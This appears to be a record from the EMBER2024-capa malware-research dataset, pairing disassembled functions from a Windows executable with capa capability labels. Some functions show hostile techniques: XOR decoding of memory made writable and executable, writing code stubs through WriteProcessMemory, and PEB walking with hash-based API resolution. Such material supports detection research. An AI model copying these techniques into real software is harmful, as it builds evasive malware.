joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e85f
Capabilities:
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], 0xa00000
push edi
mov byte [ebp - 1], bl
ja 0x40e939
push dword [esi]
call fcn.0040dbee
mov dword [ebp - 0x20], eax
and eax, edx
mov dword [ebp - 0x1c], edx
cmp eax, 0xffffffff
je 0x40e939
push 2
push ebx
push ebx
push dword [esi]
call fcn.0040dbce
test al, al
je 0x40e939
push dword [esi]
call fcn.0040dbee
mov dword [ebp - 0x18], eax
and eax, edx
mov dword [ebp - 0x14], edx
cmp eax, 0xffffffff
je 0x40e923
push 5
push ebx
lea eax, [ebp - 0x10]
push eax
call fcn.004087d0
mov eax, dword [esi + 0x10]
xor eax, dword [ebp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 8]
push eax
push 5
lea eax, [ebp - 0x10]
push eax
push dword [esi]
call edi
test eax, eax
je 0x40e90d
cmp dword [ebp - 8], 5
jne 0x40e90d
push ebx
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi]
call edi
test eax, eax
je 0x40e90d
mov eax, dword [ebp + 0xc]
cmp dword [ebp - 8], eax
jne 0x40e90d
mov byte [ebp - 1], 1
jmp 0x40e923
push ebx
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push dword [esi]
call fcn.0040dbce
push dword [esi]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push ebx
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [esi]
call fcn.0040dbce
mov al, byte [ebp - 1]
pop edi
pop ebx
leave
ret 8

Function at 0x40e942
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push edi
push dword [esi]
call fcn.0040dbee
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
xor ebx, ebx
jmp 0x40e99e
cmp dword [ebp - 4], ebx
je 0x40e9b9
cmp dword [ebp - 4], 5
jne 0x40ea16
mov eax, dword [ebp - 0xc]
xor eax, dword [esi + 0x10]
mov dword [ebp - 0xc], eax
cmp eax, 0xa00000
ja 0x40ea16
test byte [ebp - 8], 1
jne 0x40e988
cmp eax, ebx
jne 0x40e9c2
push 1
push ebx
push eax
push dword [esi]
call fcn.0040dbce
test al, al
je 0x40ea16
push dword [esi]
call fcn.0040dbee
push ebx
mov dword [ebp - 0x18], eax
lea eax, [ebp - 4]
push eax
push 5
lea eax, [ebp - 0xc]
push eax
push dword [esi]
mov dword [ebp - 0x14], edx
call edi
test eax, eax
jne 0x40e95b
jmp 0x40ea16
mov eax, dword [ebp + 0xc]
mov dword [eax], ebx
mov al, 1
jmp 0x40ea18
call fcn.004086ed
mov ebx, eax
test ebx, ebx
je 0x40ea16
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
push ebx
push dword [esi]
call edi
test eax, eax
je 0x40ea10
mov edi, dword [ebp - 0xc]
cmp dword [ebp - 4], edi
jne 0x40ea10
push dword [ebp + 0x10]
mov eax, ebx
call fcn.0040e634
mov dword [ebp - 4], eax
test eax, eax
je 0x40ea10
mov ecx, dword [ebp + 8]
mov dword [ecx], ebx
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esi + 0xc], eax
jmp 0x40e9be
push ebx
call fcn.0040871d
xor al, al
pop edi
pop ebx
leave
ret 0xc
Function at 0x40ea1e
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [esi + 8]
and eax, dword [esi + 0xc]
push ebx
xor ebx, ebx
mov byte [esp + 0xb], bl
cmp eax, 0xffffffff
je 0x40eadd
push dword [esi]
call fcn.0040dbee
mov dword [esp + 0x18], eax
and eax, edx
mov dword [esp + 0x1c], edx
cmp eax, 0xffffffff
je 0x40eadd
push ebx
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi]
call fcn.0040dbce
test al, al
je 0x40eadd
push ebx
lea eax, [esp + 0x10]
push eax
push 5
lea eax, [esp + 0x1c]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40eacd
cmp dword [esp + 0xc], 5
jne 0x40eacd
or byte [esp + 0x14], 1
push ebx
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi]
call fcn.0040dbce
test al, al
je 0x40eacd
push ebx
lea eax, [esp + 0x10]
push eax
push 5
lea eax, [esp + 0x1c]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40eacd
cmp dword [esp + 0xc], 5
jne 0x40eacd
push dword [esi]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov byte [esp + 0xb], 1
push ebx
push dword [esp + 0x20]
push dword [esp + 0x20]
push dword [esi]
call fcn.0040dbce
mov al, byte [esp + 0xb]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40ecbd
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push dword [ebp + 8]
push edi
call esi
test eax, eax
je 0x40ed07
xor eax, eax
xor cl, cl
cmp dword [ebp + 8], eax
jbe 0x40ecfa
movzx edx, cl
mov dl, byte [ebp + edx + 0xc]
xor byte [eax + edi], dl
inc cl
cmp cl, 4
jne 0x40ecf4
xor cl, cl
inc eax
cmp eax, dword [ebp + 8]
jb 0x40ece1
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp + 8]
push edi
call esi
pop esi
leave
ret 8

Function at 0x40f0a9
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 2], 1
test eax, eax
je 0x40f136
push ebx
push esi
push edi
lea edi, [ecx + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [edi]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x40f12b
mov esi, dword [edi - 8]
movzx ebx, byte [edi + 4]
mov eax, esi
mov byte [ebp - 1], 0
call fcn.0040d06c
cmp eax, 0x1e
jb 0x40f127
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1e
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x40f127
push 0
add ebx, 0xfffffffb
push ebx
push dword [ebp - 0x10]
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40f10f
mov byte [ebp - 1], 1
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 0x1e
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
cmp byte [ebp - 1], 0
jne 0x40f12b
mov byte [ebp - 2], 0
add edi, 0x10
dec dword [ebp - 0xc]
jne 0x40f0c0
pop edi
pop esi
pop ebx
mov al, byte [ebp - 2]
leave
ret
Function at 0x40f1a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
xor ecx, ecx
cmp ebx, esi
jbe 0x40f1c6
mov eax, dword [ebp + 8]
add eax, 0xc
cmp dword [eax - 0xc], esi
je 0x40f21b
mov dword [eax - 4], esi
mov byte [eax], 0
inc ecx
add eax, 0x10
cmp ecx, ebx
jb 0x40f1b3
mov eax, ebx
imul eax, eax, 0x23
push edi
push 0x40
push 0x3000
push eax
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
cmp edi, esi
je 0x40f229
mov dword [ebp - 4], esi
cmp ebx, esi
jbe 0x40f212
mov esi, dword [ebp + 8]
add esi, 8
mov eax, dword [esi - 4]
push edi
push dword [esi - 8]
call fcn.0040d0b1
test eax, eax
je 0x40f212
mov dword [esi], edi
add edi, eax
inc dword [ebp - 4]
mov byte [esi + 4], al
add esi, 0x10
cmp dword [ebp - 4], ebx
jb 0x40f1f0
cmp dword [ebp - 4], ebx
jne 0x40f21f
mov al, 1
jmp 0x40f22b
xor al, al
jmp 0x40f22c
mov ecx, dword [ebp + 8]
mov eax, ebx
call fcn.0040f0a9
xor al, al
pop edi
pop esi
leave
ret 4

Function at 0x40f655
Capabilities:
Check if file exists
Get common file path
Get file attributes
Get program files directory
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8ac
push ebx
push esi
push 0x2a
lea esi, [ebp - 0x8c]
pop eax
call fcn.004066cb
lea eax, [ebp - 0x49c]
push eax
xor ebx, ebx
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x40f7d6
lea eax, [ebp - 0x49c]
push eax
push eax
mov eax, esi
call fcn.0040e174
test al, al
je 0x40f7d6
push 0x2c
lea esi, [ebp - 0x6c]
pop eax
call fcn.004066cb
lea eax, [ebp - 0x49c]
push eax
lea eax, [ebp - 0x6a4]
push eax
mov eax, esi
call fcn.0040e174
test al, al
je 0x40f7d6
lea eax, [ebp - 0x6a4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40f7d6
push 0x2d
lea esi, [ebp - 0x38]
pop eax
call fcn.004066cb
push 0x2e
lea esi, [ebp - 0x50]
pop eax
call fcn.004066cb
push 0x2f
lea esi, [ebp - 0x10]
pop eax
call fcn.004066cb
mov byte [ebp - 1], bl
push edi
movzx eax, byte [ebp - 1]
push eax
lea eax, [ebp - 0x38]
push eax
push 0xa
pop edx
lea edi, [ebp - 0x24]
call fcn.0040942b
pop ecx
pop ecx
cmp eax, 1
jl 0x40f7d5
lea eax, [ebp - 0x6a4]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x50]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40f7d5
lea eax, [ebp - 0x6a4]
push eax
push 0x104
lea eax, [ebp - 0x294]
push eax
push ebx
lea eax, [ebp - 0x10]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
je 0x40f7c8
lea eax, [ebp - 0x294]
cmp word [ebp - 0x294], bx
je 0x40f78c
cmp word [eax], 0x2f
jne 0x40f784
push 0x5c
pop ecx
mov word [eax], cx
add eax, 2
cmp word [eax], bx
jne 0x40f778
cmp esi, 1
jne 0x40f7b6
lea eax, [ebp - 0x49c]
push eax
lea eax, [ebp - 0x8ac]
push eax
lea eax, [ebp - 0x294]
call fcn.0040e174
test al, al
je 0x40f7c8
lea ecx, [ebp - 0x8ac]
jmp 0x40f7bc
lea ecx, [ebp - 0x294]
mov edx, dword [ebp + 8]
call fcn.0040f7dc
test al, al
je 0x40f7d5
inc byte [ebp - 1]
cmp byte [ebp - 1], 0xfa
jb 0x40f704
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40f7dc
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x36c
push esi
push edi
push 0x2b
lea esi, [ebp - 0x1c]
pop eax
mov dword [ebp - 0xc], edx
mov edi, ecx
call fcn.004066cb
push edi
lea eax, [ebp - 0x36c]
push eax
mov eax, esi
call fcn.0040e174
test al, al
je 0x40f8bd
xor esi, esi
push esi
push 0x80
push 2
push esi
push 1
push 0x40000000
lea eax, [ebp - 0x36c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x40f8bd
push ebx
push 0x30
lea edi, [ebp - 0x164]
pop eax
xor bl, bl
call fcn.00406695
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 8]
push eax
mov edi, 0x146
push edi
lea eax, [ebp - 0x164]
push eax
push dword [ebp - 4]
call esi
test eax, eax
je 0x40f89a
cmp dword [ebp - 8], edi
jne 0x40f89a
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x40f894
call fcn.00409256
push 0
mov edi, eax
lea eax, [ebp - 8]
push eax
push edi
push ecx
push dword [ebp - 4]
call esi
test eax, eax
je 0x40f898
cmp dword [ebp - 8], edi
jne 0x40f898
mov bl, 1
jmp 0x40f89a
xor bl, bl
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
pop ebx
jne 0x40f8bd
lea eax, [ebp - 0x36c]
push eax
call fcn.0040dc45
pop edi
mov al, 1
pop esi
leave
ret

Function at 0x41355d
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x220
push esi
push edi
xor edi, edi
lea eax, [esp + 0x20]
push eax
push edi
push edi
push 0x21
push edi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x4135e3
push 0x27
lea esi, [esp + 0x1c]
pop eax
call fcn.004066cb
mov edx, dword [ebp + 0x10]
push edi
push edi
push edi
lea eax, [esp + 0x18]
push eax
mov esi, 0x4134d4
push esi
push 4
push 1
lea ecx, [esp + 0x3c]
call fcn.0040e018
lea eax, [esp + 0x20]
push eax
push eax
lea eax, [esp + 0x20]
call fcn.0040e174
test al, al
je 0x4135e3
mov edx, dword [ebp + 0x10]
push edi
push edi
push edi
lea eax, [esp + 0x18]
push eax
push esi
push 4
push 1
lea ecx, [esp + 0x3c]
call fcn.0040e018
test bl, 2
je 0x4135fa
mov eax, dword [esp + 0x10]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x413727
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, 0x1000
call fcn.004086ed
xor esi, esi
mov dword [ebp - 0xc], eax
cmp eax, esi
jne 0x413758
push esi
call fcn.0040871d
xor al, al
jmp 0x413821
mov ebx, dword [sym.imp.WININET.dll_InternetSetStatusCallbackW]
push 0x4136de
push dword [ebp + 8]
call ebx
push 0x28
pop edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x10]
push edx
mov dword [eax], esi
push esi
lea eax, [ebp - 0x38]
push eax
mov dword [edi], esi
mov byte [ebp - 5], 1
call fcn.004087d0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x24], eax
push esi
push 8
lea eax, [ebp - 0x38]
push eax
push dword [ebp + 8]
mov dword [ebp - 0x20], 0x1000
call dword [sym.imp.WININET.dll_InternetReadFileExA]
test eax, eax
jne 0x4137c0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x4137f1
lea eax, [ebp + 0xc]
push eax
call fcn.0040bfbe
jmp 0x41378d
cmp dword [ebp - 0x20], esi
je 0x4137f5
mov eax, dword [edi]
add eax, dword [ebp - 0x20]
mov esi, dword [ebp + 0x10]
call fcn.00408698
test al, al
je 0x4137f1
push dword [ebp - 0x20]
mov eax, esi
mov eax, dword [eax]
push dword [ebp - 0xc]
add eax, dword [edi]
push eax
call fcn.00408759
mov eax, dword [ebp - 0x20]
add dword [edi], eax
xor esi, esi
jmp 0x41378d
mov byte [ebp - 5], 0
mov eax, dword [ebp - 0x10]
inc eax
neg eax
sbb eax, eax
and eax, dword [ebp - 0x10]
push eax
push dword [ebp + 8]
call ebx
push dword [ebp - 0xc]
call fcn.0040871d
cmp byte [ebp - 5], 0
jne 0x41381e
mov eax, dword [ebp + 0x10]
push dword [eax]
call fcn.0040871d
mov al, byte [ebp - 5]
pop esi
pop ebx
leave
ret 0xc
Function at 0x414b5b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebx + 0x180]
sub esp, 0x2c8
push esi
push edi
test eax, eax
je 0x414b84
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x414c23
lea esi, [ebx + 0x17c]
call fcn.0040a114
push 1
lea edi, [ebp - 0x2c8]
call fcn.00416c9b
xor edi, edi
push edi
lea eax, [ebp - 0xc0]
push eax
push 0x2937498d
call fcn.00416964
push 0x44
pop edx
push edx
push edi
lea eax, [ebp - 0x58]
push eax
call fcn.004087d0
push dword [ebx + 0xc]
lea eax, [ebp - 0xc0]
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x50], eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push edi
push 0x4046b0
lea eax, [ebp - 0x2c8]
push eax
call fcn.00409fcc
test eax, eax
jne 0x414bf5
xor al, al
jmp 0x414c25
push 0x10
lea eax, [ebp - 0x10]
push eax
push esi
call fcn.00408759
push 0x3e8
push dword [ebx + 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x414c23
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call fcn.0040a114
jmp 0x414bf1
mov al, 1
pop edi
pop esi
leave
ret
Function at 0x414cbd
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
push esi
push dword [ebp + 8]
mov ebx, eax
call fcn.0040677b
movzx eax, ax
mov dword [ebp - 0xc], eax
test al, 1
jne 0x414e26
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x414d1d
push 2
lea eax, [ebx + 0x50]
push eax
push dword [ebp - 8]
lea eax, [ebx + 0x3c]
push eax
mov eax, dword [ebx + 0x4c]
lea ecx, [ebp - 0x88]
call fcn.0040cec7
lea eax, [ebp - 0x88]
push eax
call fcn.0040c051
mov byte [ebp - 1], al
jmp 0x414d21
mov byte [ebp - 1], 0
cmp byte [ebp - 1], 0
mov esi, dword [sym.imp.KERNEL32.dll_ResetEvent]
je 0x414d76
test byte [ebp - 0xc], 0x10
jne 0x414d76
push dword [ebx + 0xc]
call esi
movzx eax, word [edi + 0xc]
movzx ecx, word [edi + 8]
shl eax, 0x10
or eax, ecx
movzx ecx, word [edi]
push eax
movzx eax, word [edi + 4]
shl eax, 0x10
or eax, ecx
push eax
push dword [ebx + 8]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_PostMessageW]
test eax, eax
je 0x414d76
push 0x64
push dword [ebx + 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x414e26
call fcn.00414b5b
test al, al
je 0x414de5
mov eax, dword [ebx + 0x10]
push 0x10
push edi
add eax, 0x114
push eax
call fcn.00408759
push dword [ebx + 0xc]
call esi
push dword [ebp + 8]
push 0xfffffffffffffffc
push dword [ebx + 8]
push dword [ebx + 0x188]
call dword [sym.imp.USER32.dll_PostThreadMessageW]
test eax, eax
je 0x414de5
push 0x3e8
push dword [ebx + 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x414dd0
mov eax, dword [ebx + 0x10]
cmp byte [eax + 0x124], 1
jne 0x414de5
mov al, byte [ebp - 1]
jmp 0x414e28
push 0
lea esi, [ebx + 0x17c]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call fcn.0040a114
mov eax, dword [ebp + 0xc]
test dword [eax + 0x24], 0x40000000
jne 0x414e26
push edi
add eax, 4
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_IntersectRect]
push 6
lea eax, [ebp - 0x1c]
push eax
push dword [ebx + 0x154]
call dword [sym.imp.USER32.dll_FillRect]
push 0xf
push 0xa
lea eax, [ebp - 0x1c]
push eax
push dword [ebx + 0x154]
call dword [sym.imp.USER32.dll_DrawEdge]
mov al, 1
pop esi
pop ebx
leave
ret 8
Function at 0x4157a2
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
sub eax, 0xa1
push ebx
push edi
je 0x4157ff
push 3
pop ecx
sub eax, ecx
je 0x4157f6
sub eax, ecx
je 0x4157ed
sub eax, 0x15a
je 0x4157e4
sub eax, ecx
je 0x4157db
sub eax, ecx
jne 0x415878
mov dword [ebp - 4], 0x209
xor bl, bl
jmp 0x415808
mov dword [ebp - 4], 0x206
jmp 0x4157d7
mov dword [ebp - 4], 0x203
jmp 0x4157d7
mov dword [ebp - 4], 0xa9
jmp 0x415806
mov dword [ebp - 4], 0xa6
jmp 0x415806
mov dword [ebp - 4], 0xa3
mov bl, 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
mov eax, dword [ebp + 8]
cmp dword [esi + 0x16c], eax
jne 0x415863
mov ecx, dword [esi + 0x168]
cmp ecx, dword [ebp + 0xc]
jne 0x415863
mov ecx, edi
sub ecx, dword [esi + 0x164]
cmp ecx, 0x3e8
ja 0x415863
test bl, bl
jne 0x415847
push 0xffffffffffffffe6
push eax
call dword [sym.imp.USER32.dll_GetClassLongW]
test al, 8
je 0x415860
xor eax, eax
mov dword [esi + 0x168], eax
mov dword [esi + 0x164], eax
mov dword [esi + 0x16c], eax
mov eax, dword [ebp - 4]
jmp 0x41587b
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov dword [esi + 0x168], ecx
mov dword [esi + 0x164], edi
mov dword [esi + 0x16c], eax
mov eax, dword [ebp + 0xc]
pop edi
pop ebx
leave
ret 8

Function at 0x4160c4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [edi + 0x3c]
and dword [ebp - 4], 0
push ebx
push esi
mov esi, dword [eax + edi + 0x78]
add esi, edi
cmp dword [esi + 0x18], 0
jbe 0x416109
mov ebx, dword [esi + 0x20]
add ebx, edi
test ebx, ebx
je 0x4160fb
mov ecx, dword [ebx]
push dword [ebp + 8]
or eax, 0xffffffff
add ecx, edi
or edx, eax
call fcn.0040927c
test eax, eax
je 0x416111
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
add ebx, 4
cmp eax, dword [esi + 0x18]
jb 0x4160e2
xor eax, eax
pop esi
pop ebx
leave
ret 4
mov ecx, dword [ebp - 4]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + edi]
mov ecx, dword [esi + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + edi]
add eax, edi
jmp 0x41610b

Function at 0x41618a
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push esi
push edi
cld
mov edx, dword fs:[0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
mov ecx, 0x18
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x4161ad
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x4161a4
cmp edi, 0x6a4abc5b
mov eax, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x41619a
pop edi
pop esi
ret
Function at 0x416345
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x498
test byte [ebp + 8], 1
push ebx
push esi
push edi
je 0x4163e0
cmp byte [0x42499c], 1
jbe 0x4163f3
xor ebx, ebx
xor edi, edi
mov ax, word [edi + 0x4028c0]
lea esi, [ebp - 0x498]
call fcn.004066cb
lea eax, [ebp - 0x208]
push eax
xor eax, eax
push eax
push eax
push dword [edi + 0x4028c8]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x4163c4
lea eax, [ebp - 0x208]
push eax
push eax
mov eax, esi
call fcn.0040e174
test al, al
je 0x4163c4
push dword [0x42478c]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4163cf
add edi, 0xc
inc ebx
cmp edi, 0x54
jb 0x41636c
jmp 0x4163f3
imul ebx, ebx, 0xc
mov eax, dword [ebx + 0x4028c4]
or dword [0x424730], eax
jmp 0x4163f3
test byte [0x424730], 1
je 0x4163f3
or dword [0x424730], 0x1e0
pop edi
pop esi
mov al, 1
pop ebx
leave
ret 4

Function at 0x4163fc
Capabilities:
Create thread
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5bc
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push edi
push 0x423658
call esi
xor ebx, ebx
xor eax, eax
push 0x4233b8
mov dword [0x42364c], ebx
mov word [0x423654], ax
mov word [0x423650], ax
mov dword [0x4235e4], ebx
mov dword [0x4233d8], ebx
mov dword [0x4233d0], ebx
mov dword [0x4233d4], ebx
call esi
push ebx
lea edi, [ebp - 0x210]
call fcn.00416c9b
or dword [ebp - 8], 0xffffffff
push ebx
push ebx
push 3
push ebx
push 1
push 0x80000000
mov eax, edi
push eax
mov dword [ebp - 4], 0x1fe
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4164a4
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x210]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41649d
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
cmp eax, 0xffffffff
je 0x4164b0
test al, 1
je 0x4164b2
xor eax, eax
push 0x65
push ebx
shr eax, 1
xor ecx, ecx
push 0x425040
mov word [ebp + eax*2 - 0x210], cx
call fcn.004087d0
lea eax, [ebp - 0x5b8]
call fcn.00416c1c
mov eax, dword [ebp - 0x574]
push 0x3a4
mov dword [0x4250a8], eax
push ebx
lea eax, [ebp - 0x5b8]
push eax
call fcn.004087d0
call fcn.0041d4ff
test al, al
jne 0x416517
push ebx
push ebx
push ebx
push 0x41d55e
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, ebx
je 0x416517
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x210]
call fcn.00413140
lea eax, [ebp - 0x210]
call fcn.0040f8c3
push 0x425010
mov dword [0x424624], ebx
mov dword [0x42472c], ebx
call esi
call fcn.00406bd4
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, 0x4044e8
push esi
call edi
push esi
test eax, eax
jne 0x416560
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jmp 0x416562
call edi
cmp eax, ebx
je 0x41656f
mov edi, eax
call fcn.0040f468
jmp 0x416571
xor al, al
cmp al, bl
je 0x41657c
or dword [0x424bfc], 1
call fcn.0040f231
pop edi
pop esi
mov al, 1
pop ebx
leave
ret
Function at 0x416c1c
Capabilities:
Encode data using xor

Disassembly:
push esi
mov edx, 0x3a4
push edx
push 0x402518
push eax
call fcn.00408759
mov ecx, dword [0x424744]
add ecx, dword [0x424bf0]
mov esi, edx
sub ecx, eax
mov dl, byte [ecx + eax]
xor byte [eax], dl
inc eax
dec esi
jne 0x416c3e
pop esi
ret